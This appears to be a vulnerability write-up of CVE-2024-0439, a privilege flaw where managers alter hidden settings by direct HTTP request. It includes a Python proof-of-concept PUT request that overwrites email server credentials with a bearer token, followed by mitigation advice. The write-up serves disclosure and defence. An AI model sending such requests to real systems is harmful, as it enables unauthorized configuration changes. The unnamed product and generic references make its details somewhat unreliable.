CVE-2024-0439 - Unauthorized Manager Access to Settings Modification via HTTP Request

CVE-2024-0439 refers to a security vulnerability where a user with a manager role can modify a series of settings by using their token through a standard HTTP request, even though the UI for these setting modifications is hidden for the manager role. While this is not categorized as a critical vulnerability, it is important to be aware of it and implement a patch to ensure the expected permission level is enforced.

Code Snippet

To demonstrate this vulnerability, let's say we have a manager named John who has the following token:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjMNTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWFIjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

John should not be able to modify certain settings, like changing the email server settings, as he is not savvy enough to do so. However, since he has a token, he can still send a standard HTTP request to access these settings:

import requests

url = "https://www.example.com/api/settings/email";

# Replace the token value with John's actual token.
headers = {
    "Content-Type": "application/json",
    "Authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjMNTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWFIjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
}

data = {
    "emailServer": "smtp.gmail.com",
    "emailPort": 587,
    "emailUsername": "new_email@example.com",
    "emailPassword": "new_password"
}

response = requests.put(url, headers=headers, json=data)

if response.status_code == 200:
    print("Settings updated successfully")
else:
    print("Failed to update settings")

This code snippet demonstrates how a manager like John can use their token to send an HTTP PUT request to modify the email server settings, which should not be allowed by their permission level.

Original References

1. OWASP Top Ten Project
2. NIST National Vulnerability Database (NVD)
3. Common Vulnerability Scoring System (CVSS) Calculator

Exploit Details

This vulnerability allows managers to bypass the front-end interface restrictions and directly modify settings via HTTP requests. This can potentially result in unintended consequences like misconfigurations and unauthorized changes made by unqualified users.

To mitigate this vulnerability, the following steps should be taken

1. Implement proper server-side permission checks for all HTTP requests related to settings modification.
2. Ensure that the tokens issued to managers have scopes that limit their access only to the necessary resources.

Regularly monitor logs for any unauthorized attempts to access or modify settings.

It is important to patch this vulnerability to enforce the expected permission level for managers and prevent unauthorized changes to critical settings. While this issue is not as severe as some other vulnerabilities, it remains essential to address and maintain a secure application environment.

Timeline

Published on: 02/26/2024 16:27:50 UTC
Last modified on: 02/26/2024 16:32:25 UTC